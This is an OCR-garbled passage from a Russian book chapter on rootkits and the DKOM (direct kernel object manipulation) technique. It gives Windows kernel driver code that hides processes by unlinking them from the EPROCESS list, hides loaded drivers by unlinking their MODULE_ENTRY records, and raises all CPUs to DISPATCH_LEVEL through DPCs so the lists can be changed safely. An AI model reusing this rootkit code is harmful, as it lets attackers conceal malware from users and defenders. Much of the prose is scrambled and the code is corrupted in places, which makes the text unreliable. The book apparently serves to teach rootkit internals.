и   DriverEntry: 

PDEVICE_OBJECT  d r i v e _ d e v i c e s [ 2 6 ] ;  NTSTATUS  D r i v e r E n t r y ( I N  PDRIVERJDBJECT  p D r i v e r ,  IN  PUNICODE_STRING  p R e g P a t h )  { 

// бывоти е   вис ам ы  ULONG  HookableDrives  = 0;  ULONG  DrivesToHook  = 0;  // ооньлатс й  иыноицазл й   код.. .  for  (i=0; iMajorFunction[i]  = DispatchFunction;  }  pDriver­>FastIoDispatch  = My_FastIOHook;  for  (i=0; i= 1) && (startPID == curPID))  return  0x00000000;  else  Flink;  eprocess = eprocess ­ FLINKOFFSET;  curPID = *( (int*) (eprocess + PIDOFFSET)) ;  count++; 



Об ират в ую ст е о щ е в ы ч и сл ен и щм ес н и

е  вн има е

, чт о  уазкелт

и  FLINK и  BLINK уазк ы ваю т  н е  н а  нлча о  ы   EPROCESS, а  н а  е е  чел н   LIST_ENTRY, TO етс ь  дл  я я   уа кз ет л я   н а   EPROCESS  нжу о   но т я ь   о т   п ол уч ен ог о   сер да  а е   FLINKOFFSET.  й  суртк

Им тсе з ап ущ ен в но ы к а а ц с оп р е и н ме з а п е м у с кы

я  проц ес ь   у н и а кл ь н ы м

П о  комак з ав и с п цор с е

а  праевсдтлн

о  в  суртк е  EPROCESS 16­бйавот й  сойркт я   п в р ые е   ш н тсе ц да ь   си м в ол в   и м ен о  дв а  пцорасе , пвреы е  ш нцтседа ь  символ в  имен и  кырот , т о  у  н а с  буд т  дв а  пцорсе а  с  оидновыак м  имен . Помтэ ,  а  толь к о   ге о   PID  ндоз чан о   и де н т ц ф и р у е т   п роц ес м  убонде е  рьатбо , пмот у  чт о  операц ион а я  сиемст а  н аз н чае м  пцор асе м  н е  п о  пу кд яро , а  случайн ы м  образ ом .  у  смще н и ю  в  суртк е  EPROCESS н аиходст т  о т  верси и  Windows. В ы числ т ь  эт о  смещ н и а  «MyProcess»  (ли стн г   13.6). 

н ит с и Л

, т о  .  л с Е и  х  ои д ­ у  н е  им  я .  аЗт о  с  т   PID 

и   сч и аю т с

г  1 3 . 6 . И Н Е Л С ИЧЫ В

Е И Н Е Щ  СЕ М

Я Н ИЕ М

И С ЕС Ц  ПРО

я   им е  мож н

А  в Р У КТ  СУ Р Т

я   п роц ес а о  дл

я  тщугке

Е  EPROCESS 

ULONG  GetProcessNameOffset()  ULONG  offset;  PEPROCESS  pCurProc;  pCurProc = PsGetCurrentProcess;  for (offset = 0; offset Flink;  plistPrev = plist­>Blink;  //  еянмзи м   летаз ку и   FLINK  и  BLINK  предыущг в  plistNext­>Blink = plistPrev; 

о   и   гещюуд лс

о 

273 

RootKits  plistPrev­>Flink  = plistNext;  // улетазк и   FLINK и  BLINK сгомеавырк // устанвлием   н а  эот т  ж е   сецорп

о   с ецорп

а 

с 

plist­>Blink  =  (LIST_ENTRY  *) & (plist­>F'link) ;  plist­>Flink  —  (LIST_ENTRY  *) & (plist­>Flink) ;  return  STATUS_SUCCESS;  } 

О б р а ти у ас нт о в и т в ен т у н и и  эгот

е   в н и ман и ь   ау зк е тл ю   у р т ск о  пцор се

чП о м е у   тэ о   п рои сх д т л кю ч и т ь   ге о   и н ов ы м и   з н ач ен и мя н е  може т   м о д и фц и р о в а т но а   «н е  ви д »т об л аст и   п а им т я н ов и в  уакз тел

13.5. СИЫТР КО р ыС о к и т п цор в с е мо т э

у  ем

е   н а   п о с л е дн и е   ср то к и   а од к :  ва м   н уж н о   о б з я а те л ь н и   FLINK  и  BLINK  ырксвмеаго о   п роц ес а   н а   ге о  ссбо у   LIST_ENTRY. Елс и   в ы  эт о  н е  селатд , т о  пр и   зшврае а  риуетск е  увиетд ь  син й  эрак н  смиерт .  ?  П о   з аверш ен и ,  з амен и в   уа кз е т л .  годК а   з а в е р ш а ес т ь   н ша и   уа кз е т л и ; о  том , чбот ы   н о и   п о­п реж н м ,  н а м   н уж о   п о з а б ит ь с и   н а  себя . 

е  драй вео . Вде у  н уж н

и   п роц ес а   с и е тм а   до л ж н а   ис и   FLINK  и   BLINK  ге о   едсо я   есо д   н аш ег о   п роц ес а ,  меист ,  помт у   ч т о   н аш ег о   пц о р с е у   у ак з ы в а л и   н а  допиустмы я   сам и . Эт о  м ы   и  сдела и , уатс

з   сп и а к

Е  ДРОРЕВЙА

В  УТС ЙОРТС в   р оу йс т

ь  обы чн о  срык т

о  рикут ь  пжерд

о  ­ ­ ­ й  а  а  е  ­

В 

в   ат к  ж е  вжан о  дл т  реализ ов н  в  вид е  вгес о  сгома о  сбяе

я   и р куа т е  драй ве . 

,  ак к   и   ырикост а  уройства

е  , по ­

В  Windows  сущ вет т   н ол ь еск о   и лт у ,  вы щ яоди х   сп и о к  драйвео в  ­ н ап ри м е , диспчет р  уройст в  Windows ил и  уитл а  drivers.exe, вщ ядоха  я в  сатсо в   Microsoft  Resource  Kit. Вс е  он и  з апрш иваю т   сп и о к   з аг руж ен ы х  е л у д ом й  ярд а  (драйвео) , вы з ва я  фнуцки ю  ZwQuerySystemlnf  ormation  с  проамет м   SYSTEM_INF0RMATI0N_CLASS  =  11. В  глав е   6 м ы   н аучилс ь  п ер хв ы ат ь  эт у  фунцк и ю . Павдр , тдго а  на с  инерстова л  клас с  иорман ф ­ ц и и  5, в  овет т  н а  корыт й  фунцк и я  вы виодл а  списо к  проц есв .  й еч С а Он Э л ем н а т

с  м ы  пирвог ,  побдн

о   сп и к и  эгот

м  о  тмо у   проц есв, о  списк

, ка к  мжно   орг ан и з ов а а  явлюя ст

о  мицодф рват я  суртк

typedef  struct _MODULE_ENTRY  {  LIST_ENTRY  module_list_entry;  DWORD  unknownl[14]; 

274 

ь  спиос к  дйарвое н   в   ви д е   дв у с з я н о г о   а п си к ы  M0DULE_ENTRY: 

.  . 

в а Гл

а  13. Техноил г

я   DKOM 

DWORD base;  DWORD driver_start;  DWORD unknown2;  UNICODE_STRING  driver_Path;  UNICODE_STRING  driver_Name;  //. ..  } MODULE_ENTRY,  *PMODULE_ENTRY; 

е ов р П , чт и  в  счлуа е г е о   у р т ск ру т к с ы ру т к с ы ENTRY тщуке г

ин с т Л

о  н а м  н ужн о  сьелатд , —  т э о  нйат и  н ач л о  списк   с  проц есами ,  ипос к   н жу о   н ач и т ь  с  тущек г у   MODULE_ENTRY  азукы ве т   н до о   н е у до м к и т р о в а н о   DRIVER_OBJECT,  псарлжоне е   п о   мс ще н и   DRIVER_OBJECT.  о К д   ун цфк и ,  воз ращ ю щ е о  драйве , пиервд н  в  листн г е  13.8. 

г  1 3 . 8 . ИНЧЕ У ЛОП

Е Л Е Т А З  УА К

Я  Н А Щ  ТУИ КЕ

Й  ЭН Е М Л

Т К СС И П

а  драй вео о   рд а й в е

.  аК  к . Н а  е   пло е  а  ю   0x14  о т  н чал й   ре ад с  MODULE_ 

А О Р Е В Й ДРА

В 

DWORD GetCurModuleEntry  (IN PDRIVER_OBJECT  pDriver)  {  PMODULE_ENTRY  current;  if  (pDriver == NULL)  return 0;  current = *((PMODULE_ENTRY*)((DWORD)Driver  + 0x14));  if  (current == NULL)  return 0;  // зеавысип м   ын ечулоп й   ерда с  в  гуньлабо ю   пер м н у ю  х   яицкнуф // тпи а   PMODULE_ENTRY,  аротк я   стибодан п я  в  други

х 

LoadedModuleList = current;  return  current; 

Сур т к а   DRIVER_OBJECT  содерж и LIST_ENTRY,  аузк етл и   и з  корт й   п оз ю в л я ю л об м   н ап рав лен и .  аК к   тол ь к о  м ы (н априме ,  п о  имен и   driver_Name),  м а к к  м ы  дела и  эт о  с  пцормасе и   (ли стн н и тс Л

г  1 3 . 9 . ИЫТР КОС

Е Р Е В Й А ДР

А  П О  ИН Е М

т   уж

е  и з в естн у ю   н а м   с тр у к у  т   п ер м щ ь ат с я   п о   сп и к у  в   н ай де м   н уж н ы й   эл е м н т   сп и ск  а ы  сжмое м   тс о  срык т ь  точ н о  та к  же ,  г   13.9). 

 И

HideModuleByName(  IN  PUNICODE_STRING  pNameToHide) 

(  PMODULE_ENTRY  c u r r e n t  =  L o a d e d M o d u l e L i s t ;  w h i l e  ((PMODULE_ENTRY)current­>le.mod.Flink  !=  L o a d e d M o d u l e L i s t ) 

(  275 

RootKits  if  ((current­>unknownl  1=0x00000000)  &&  (current­>driver_Path.Length  != 0)  {  if  RtlCompareUnicodeString(pNameToHide,  &(current)­>driver_Name),  FALSE) == 0)  { 

*((PWORD)current­>le_mod.Blink)  =  (DWORD)current­>le_mod.Flink;  c u r r e n t ­ > l e _ m o d . F l i n k ­ > B l i n k  =  c u r r e n t ­ > l e _ m o d . B l i n k ;  break; 

DRIVER  OBJECT  p  modEntry 

MODULE_ENTRY  «— 

MODULE_ENTRY 

LIST_EHTRY  FLINK 

MODULE_ENTRY 

LIST_EHTRY  1 



BLINK 

LISTJ3HTRX  1 

FLINK  BLINK 

с.Ри

  13.5.  сокиСп

FLINK  BLINK 

   еровай д

П ом н и е т ,  пр и   миодакцф и   сп и к а   пцор с е в   м ы   м о ди ц ф р о в а л ж е   и  бло к   EPROCESS  цапосре ,  ыротк й   н жу о   бы л о   ср кы ьт сп и о к м  драй вео в  в  эот м  не т  нитдбсомхе , пмот у  чт о  драй ве з аг руж ю с т я   и  вы гружаю ст я   н е  та к  чотса , ка к  пцорысе . Обы ч н з аг руж ю с т я   пр и  з агруз к е  смеитс ы  и  вы гжурюа ст я  пр и  з аверш ен и с  сиемойст . В  пцорсе е  ртбоа ы  смеитс а  ркде о  вы гружае т  драй веы

?  В  слчуа ы  оыб чн о  дйарве и   т об а р . 

В ы ш е п р и в нд ы LEVEL), эогт

е   (PASSIVE_  . 

о  тюбуер

й   о к д   е д бу т  фунцк и

13.6. ПМЕЛБОР Ы  ИЦА ЗИНОРХ С «Паклгуор »  п о  спикс у  пцосре Д ел о  в  тмо , чт о  рикут т  мжое ге о   п р е б ы в а н и я   а т м   м го у з ав ерш н ы  уж е   вы полнюя щ и еся 276 

т   т а б ор и  дл

я  ртоба

в  ннмаго т  бы т ь  вы жгуре т   бы т ь   соз ан д . 

ь   н а   п ас и в н о м   уров н ы  с   UNICODE­строакми

 И о  онсепа н  в  област ы   д о п л н и ет л ь н ы

, че м  п о  спикс ь  пачокди

и   ка т ­ е  с о  о  ы  ы 

у  дйарвое .  , а  з а  вмер  я е   п роц ес ы   ил и  

в а Гл

а  13. Техноил г

я   DKOM 

Ка к   п р а в и л о ,  п р о г р а м а   б л о ки р у е т   д о с ту п   к   с о в м е с тн о   и споль з уемом у   ре ­ сурс у   с   п омощ ь ю   с е м а оф р а   и л и   м ь ю те кс а   (mutually­exclusive­access  flag)  т   сво ­ ­  р а з н о в и д н о с т и   с е м а оф р а   с  д в у м я   с о с т о ян и ям и : у с т а н о в л е н   (1, о б ъ е к б оден )  и л и   с б р о ш е н   (0, о б ъ е к т   з а н ят ) .  Д л я   у п р а в л е н и я   до с ту п о м   к   сп и ск у  п роц ес о в   и  с п и с к у   м одул е й   служ а т   с е м а оф р ы   P s p A c t i v e P r o c e s s M u t e x  и  P s L o a d e d M o d u l e R e s o u r c e  с о тв е тс в е н о .  Э т и   с е м а фо р ы   н е   экс п о р ти р у ­ ю тс я  яд р о м ,  п о э то м у   в а м   п р и д е тс я   н ай т и   и х  с а м о с т о ят е л ь н о .  М о ж н о   п ой т и  «в  л о б »  ­  п р о с к а н и р о в а т ь   п а м ят ь   в   п ои ск е   з ад н ог о   образ ц а .  Э т о т   сп ос б  п рост , н о  и м е т  с у щ е с тв е н ы й   н е д о с та о к : с ко л ь к о   верси й   Windows,  с то л ь к о  и   образ ц ов .  М ы   п ой де м   друг и м   п у те м :  п е р в е д м   вс е   п роц ес ор ы   с и с те м п реры ван и й   DISPATCH_LEVEL.  Н а   это м   у р о в н е   м о д и фи к а ц и я ц ессо в   и   драйверо в   безопасн а .  У ч т и т е   толь ко ,  ч т о DISPATCH_LEVEL  н е л ь з я   р а б о та ь   с   вы груж ен о й   п а м ят ь ю ращ ен и я   к  н е й   п р и в е д т   к  п о яв л е н и ю   си н ег о   экр а н а   с м е р ти .  Механ и з м ,  к о т р ы й   м ы   соби раемс я   р а с м о тр е ть ,  н а з ы в а е т с вы з ов м   п роц еду р   (DPC,  Deferred  Procedure  Call).  Д р а й в е р это т   м е х а н и з м ,  ко г д а   п олуч ен о е   п реры ван и е   тр е б у е т   слож н о ко т р у ю   н е эко н о м и ч н о   в ы п о л н ят ь   н а   боле е   вы сок м   уровн е п ри в оди т   к   о б р а тн о м у   вы з ов у   оп ред лен о й   фу н к ц и и   драй в ера б у де т   в ы п о л н ят ь с я   н а   уровн е   DISPATCH_LEVEL.  Э т о   у м е н ь ш а е держ к и   преры ван и я   д л я   о с та л ь н ы х   у с тр о й с т в   в   с и с те м . 

ы   н а   уровен ь    с п и с ко в   п ро ­   н а   уровн е  :  п о п ы т к а   об ­

я   о тл о ж е н ы ы   и сп оль з ую й   о б р а б о тки .  З а п р о

м   т ,  с   D P C  ,  к о т р а  я т   врем я   за ­

Вызо в   D P C  о п и с ы в а е т с я   о б ъ е кто м   DPC  (о п р е д л е н   в   n t d d k .  h). Д л я   и н и ц и али з ац и и   о б ъ е кт а   DPC  с л у ж и т   фу н к ц и я   K e l n i t i a l i z e D p c ,  ко т р о н уж н о   п ер дат ь   у ка з а те л ь   н а  фу н к ц и ю ,  п о д л е ж а щ у ю   о тл о ж е н о м у   в ы з ов у У   н а с   эт о   б уде т   фу н к ц и я   RaiseCPU,  у в е л и ч и в а ю щ а я   с ч е тч и к   п роц ес ор в п ер вед н ы х   н а  у р о в е н ь   DISPATCH_LEVEL. 

­ й  .  , 

Ин и ц и али з и рован н ы й   объ ек т   D P C  н у ж н о   п о с та в и т ь   в   оч ер дь .  К а ж д о м  у п роц ес ор у   с о тв е тс в у е т   о дн а   оч ер д ь   DPC.  Е с л и   н е   н аз н ач ат ь   о б ъ е кт у  DPC  п р о ц е с о р а ,  н а  ко т р о м   б у де т  в ы п о л н ят ь с я   е г о  callback­фу н к ц и я ,  с  п о ­ мощ ь ю  фу н к ц и и   K e S e t T a r g e t P r o c e s s o r D P C ,  т о  о н  б у д е т   п о с та в л е н   в  о ч е ­ ред ь   т е к у щ е г о   п роц ес ора .  Н о м е р   те ку щ е г о   п роц ес ор а   мож н о   п о л у ч и ть ,  вы з ва в  фу н к ц и ю   K e C u r r e n t P r o c e s s o r N u m b e r ,  а  к о л и ч е с т в о   п роц ес оро в  в  с и с те м е   с о де р ж и тс я   в  п е р м е н о й   яд р а   K e N u m b e r P r o c e s s o r s .  О с та л о с ь   с ка з а т ь   то л ь ко ,  ч т о   д л я   п о л у ч е н и я   те ку щ е г о   з н ач ен и я   уровн п ре ы в ан и й   служ и т   с и те м н ы й   вы з о в   K e G e t C u r r e n t l r q l ,  а   д л я   у с та н о в к н ов г о   з н ач ен и я   ­  K e R a i s e l r q l .  Т е п р ь   мож н о   р а с м о тр е т ь   фу н к ц и RaiseAllCPU,  п е р е в о д ящ у ю   вс е   п роц ес ор ы   н а   уровен ь   преры ван и DISPATCH_LEVEL Н И Т (ЛИС Г  13.10). 

 я и  ю  й 

277 

RootKits  н ит с Л

г  1 3 . 1 0 . ОВ ЕР П

Д М  СЕ Т С И

Ы  Н А Н Е В УРО

Ь  DISPATCH_LEVEL 

PKDPC RaiseAllCPU ()  f  NTSTATUS s;  ULONG  curCPU;  CCHAR a;  PKDPC dpc, t_dpc;  if  (KeGetCurrentlrql()  ! = DISPATCH_LEVEL)  return NULL;  // иницалзруе м   ыньлабо г е   ын ем р п е   имялун .  // AllCPUDispatch = 1, елс и  вс е  просец ы   нед в р п ы  ь   DISPATCH;  // н а  уневор // NumCPUDispatch  ­ квтсечило о   вор с ец п , уж е  работющи х  // н а  унвор е   DISPATCH  InterlockedAnd(SAllCPUDispatch,0);  InterlockedAnd(SNumCPUDispatch,0);  t_pdc =  (PKDPC)ExAllocatePool(NonPagedPool,  KeNumberProcessors  * sizeof(KDPC);  if  (t_dpc == NULL)  return  NULL;//STASUS_INSUFFICIENT_RESOURCES  curCPU = KeGetCurrentProcessorNumber();  dpc = t_dpc;  for  (a = 0; a